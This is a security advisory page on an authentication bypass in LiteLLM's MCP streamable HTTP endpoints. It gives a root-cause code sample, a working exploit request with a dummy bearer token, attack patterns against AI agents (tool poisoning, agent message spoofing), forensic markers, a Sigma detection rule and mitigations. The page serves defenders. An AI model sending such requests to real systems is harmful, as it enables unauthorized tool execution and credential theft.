Skip to content
Hermes Codex

CVE-2026-59822: LiteLLM MCP Streamable HTTP Authentication Bypass

HTS

HERMES THREAT SCORE & OPERATIONAL EXPLOITABILITY

Target: LiteLLM MCP Streamable HTTP Gateway
Confidence: 98%
96 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 15 / 20
Exposure 15 / 20
Prevalence 10 / 20
Impact 10 / 20
⚖️ Divergence & Operational Rationale

Elevated to 96 EXTREME by Hermes due to CISA KEV listing, public weaponized exploit scripts in the wild, and trivial dummy Bearer token forgery granting immediate access to enterprise MCP tools and LLM keys.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-59822: LiteLLM MCP Streamable HTTP Auth BypassVULNERABILITY

Connected Nodes: 10
Active Relationships (Outgoing)
→ affectsPRODUCTLiteLLM Proxy & MCP Server
99% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

🔍 Why is this related? (Evidence & Provenance)

“Directly confirmed by vendor advisory GHSA-59822 and federal advisory in CISA KEV.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass
94% HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“Hijacking MCP endpoints enables attackers to supply crafted tool execution parameters.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1552: Unsecured Credentials
92% HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Unauthenticated MCP access allows scraping upstream model API keys and internal environment variables.”

Supporting Verified Evidence:
→ leaves_artifactFORENSIC ARTIFACTForged MCP Authorization Header Log
97% VERY_HIGH

HTTP traffic logs demonstrating connections to /mcp/streamable with arbitrary Bearer tokens bypassing validation.

🔍 Why is this related? (Evidence & Provenance)

“Access logs record HTTP POST requests with missing or dummy Authorization headers.”

Supporting Verified Evidence:
→ detected_byDETECTIONSigma: LiteLLM MCP Unauthenticated Session Spawn
95% VERY_HIGH

Detects anomalous streamable HTTP session initialization to LiteLLM endpoints with missing or dummy bearer tokens.

🔍 Why is this related? (Evidence & Provenance)

“Sigma rule SIG-MCP-042 flags unauthenticated session establishment requests.”

Supporting Verified Evidence:
→ enablesAGENTIC ATTACK_PATTERNAAP-004: Semantic Tool Poisoning
92% VERY_HIGH

Attacker registers rogue MCP tools or skills with weaponized docstrings and deceptive metadata that trick the model into routing sensitive user tasks to attacker-controlled functions.

🔍 Why is this related? (Evidence & Provenance)

“Unauthenticated MCP access allows registering rogue tool definitions with weaponized descriptions.”

Supporting Verified Evidence:
→ enablesAGENTIC ATTACK_PATTERNAAP-006: Inter-Agent Semantic Message Spoofing
90% VERY_HIGH

Exploitation of unauthenticated, unsigned inter-agent communication channels to forge delegation directives, impersonate orchestrator agents, and command worker subagents.

🔍 Why is this related? (Evidence & Provenance)

“Compromising the MCP streaming proxy allows injecting spoofed responses into peer agent message flows.”

Supporting Verified Evidence:
→ affectsPRODUCTLiteLLM Proxy & MCP Server
98% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”

Supporting Verified Evidence:
Inbound Associations (Incoming)
LiteLLM Streamable MCP Token ForgerEXPLOIT → exploits → [This Entity]
96% VERY_HIGH
ShadowAgent StealerMALWARE → exploits → [This Entity]
87% HIGH

Root Cause Analysis

Section titled “Root Cause Analysis”

LiteLLM provides reverse-proxy routing, load-balancing, and guardrails across disparate Large Language Model providers. To support AI agents, recent versions introduced integration with Anthropic’s Model Context Protocol (MCP) over Streamable HTTP and SSE (Server-Sent Events) transports.

The vulnerability resides within the authentication middleware safeguarding the /mcp route tree (/mcp, /mcp/stream, and associated RPC endpoints). Under standard operations, incoming requests must supply a valid LiteLLM master or virtual key in the Authorization header.

Incoming Request -> /mcp/stream [Authorization: Bearer <token>]
          │
          ▼
   Key Validation Check (Fails)
          │
          ▼
   OAuth2 Fallback Routine
          │
          ▼
   Exception Handler Catches Validation Failure
          │
          ▼
   [CRITICAL FLAW] Instantiates: user_auth = UserAPIKeyAuth()
          │
          ▼
   Downstream Routing: if user_auth: -> ACCESS GRANTED

When an invalid or synthetic token was submitted, the primary key validation routine raised an internal authentication exception. Rather than terminating the transaction with an HTTP 401 Unauthorized, the MCP endpoint handler redirected execution to a secondary OAuth2 passthrough routine.

Within this fallback routine, unhandled validation exceptions defaulted to instantiating an empty instance of the UserAPIKeyAuth dataclass. Downstream authorization checks across the MCP protocol controller evaluate user identity through truthiness verification:

# Vulnerable architectural pattern (simplified)
user_auth = None
try:
    user_auth = await validate_litellm_key(token)
except Exception:
    # Defective fallback: returning an empty object rather than raising 401
    user_auth = UserAPIKeyAuth()


# Downstream endpoint gate evaluates object existence
if user_auth is not None:
    return await handle_mcp_stream(request, user_auth)

Because an instantiated Python dataclass evaluates to True, the request bypassed all subsequent credential barriers. The system assigned default permissive context to the transaction, effectively granting the unauthenticated caller full operational access to the MCP server subsystem.

Exploit Analysis

Section titled “Exploit Analysis”

The attack vector requires network line-of-sight to the LiteLLM proxy instance but requires no prior authentication or privileges.

1. Session Establishment

Section titled “1. Session Establishment”

An adversary submits an HTTP POST request targeting the Streamable HTTP MCP endpoint with a junk bearer token:

POST /mcp/stream HTTP/1.1
Host: litellm-proxy.target.corp
Authorization: Bearer invalid_synthetic_token_1337
Content-Type: application/json


{
  "jsonrpc": "2.0",
  "method": "tools/list",
  "params": {},
  "id": 1
}

The server processes the invalid bearer token, triggers the defective exception branch, and establishes a bidirectional MCP session. The response returns the full schema and inventory of tools connected to the LiteLLM proxy:

{
  "jsonrpc": "2.0",
  "result": {
    "tools": [
      {
        "name": "corporate_sql_query",
        "description": "Execute read queries on the production customer database",
        "inputSchema": { "type": "object", "properties": { "query": { "type": "string" } } }
      },
      {
        "name": "system_bash_exec",
        "description": "Run diagnostic utilities on backend worker nodes",
        "inputSchema": { "type": "object", "properties": { "cmd": { "type": "string" } } }
      }
    ]
  },
  "id": 1
}

2. Operational Impact & Lateral Movement

Section titled “2. Operational Impact & Lateral Movement”

Once the MCP session is initialized:

  • Arbitrary Tool Invocation: The attacker invokes registered tools via tools/call. As documented in our Tool Injection Analysis, MCP tools often have direct kinetic access to internal databases, file systems, and internal microservices. If tools such as bash execution or SQL queries are exposed, this translates immediately to Remote Code Execution (RCE).
  • Credential Exfiltration: Interacting with proxy diagnostic tools or backend routing prompts allows adversaries to extract upstream provider keys (OpenAI, Anthropic, AWS Bedrock secrets) stored within LiteLLM’s memory space.
  • Chaining with Prior Vulnerabilities: This flaw can be chained with earlier LiteLLM proxy vulnerabilities such as CVE-2026-42208 (SQL Injection in proxy key checks) and CVE-2026-30623 (Authenticated MCP RCE).

Forensic Markers

Section titled “Forensic Markers”

DFIR teams investigating potential compromise of LiteLLM deployments must evaluate the following telemetry layers:

1. Reverse Proxy & Ingress HTTP Telemetry

Section titled “1. Reverse Proxy & Ingress HTTP Telemetry”
  • Abnormal MCP Endpoints Access: HTTP POST requests targeting /mcp, /mcp/stream, /mcp/v1/streamable, or /mcp/messages originating from untrusted external IPs.
  • Status Code Anomalies: Requests bearing randomized or non-standard token lengths returning 200 OK rather than 401 Unauthorized or 403 Forbidden.
  • Anomalous User-Agents: Direct programmatic HTTP client user-agents (curl/*, python-requests/*, Go-http-client/*) interacting directly with the streaming endpoints.

2. LiteLLM Server Log Inspection

Section titled “2. LiteLLM Server Log Inspection”

Inspect application stdout and structured JSON execution logs for null identity sessions:

  • Absence of user_id or api_key_alias in transactions calling MCP endpoints: 
    {"level": "INFO", "endpoint": "/mcp/stream", "user_id": null, "key_hash": null, "mcp_method": "tools/call"}
  • Fallback exception traces in debug logs referencing OAuth2 failure immediately succeeded by 200 OK responses.

3. Upstream LLM Provider Discrepancies

Section titled “3. Upstream LLM Provider Discrepancies”
  • Sudden execution of high-privilege MCP tools without corresponding entries in the user audit logs or billing databases (LiteLLM Spend Tracking).
  • Outbound connections from the LiteLLM container to uncharacteristic database ports or cloud storage buckets triggered via tool execution.

Detection Rules

Section titled “Detection Rules”
title: LiteLLM MCP Authentication Bypass Exploitation Attempt (CVE-2026-59822)
id: 5a7e6b21-4f89-4c23-92ef-d3b194f59822
status: experimental
description: Detects exploitation attempts against LiteLLM MCP Streamable HTTP endpoints using abnormal or synthetic Bearer tokens that exploit the OAuth2 fallback bypass.
references:
  - https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q
  - https://nvd.nist.gov/vuln/detail/CVE-2026-59822
author: Hermes Codex CTI
date: 2026-09-06
logsource:
  category: webserver
  product: litellm
detection:
  selection_mcp_paths:
    cs-method: 'POST'
    cs-uri-stem|startswith:
      - '/mcp/'
      - '/mcp'
  selection_headers:
    cs-header_authorization|contains: 'Bearer '
  filter_status:
    sc-status: 200
  condition: selection_mcp_paths and selection_headers and filter_status
falsepositives:
  - Legitimate automated client sessions using valid master keys (correlate with key authentication logs).
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.59822

Mitigation

Section titled “Mitigation”

1. Primary Remediation

Section titled “1. Primary Remediation”

Upgrade LiteLLM to version 1.84.0 or higher immediately. Version 1.84.0 refactors the MCP endpoint authentication flow, eliminating the vulnerable fallback path and enforcing explicit 401 exceptions when key validation fails.

2. Network Isolation & Virtual Patching

Section titled “2. Network Isolation & Virtual Patching”

If immediate container re-deployment cannot be executed:

  • Reverse Proxy Ingress Blocking: Block or drop all incoming external traffic to the /mcp/ path prefix at your ingress controller (Nginx, Envoy, Cloudflare, Traefik): 
    location ^~ /mcp/ {
        deny all;
        return 403;
    }
  • Configuration Hardening: If MCP functionality is not required in production, disable MCP routes explicitly in LiteLLM’s config.yaml and isolate the proxy on an internal network subnet inaccessible to unauthenticated callers.

Sources & References

Section titled “Sources & References”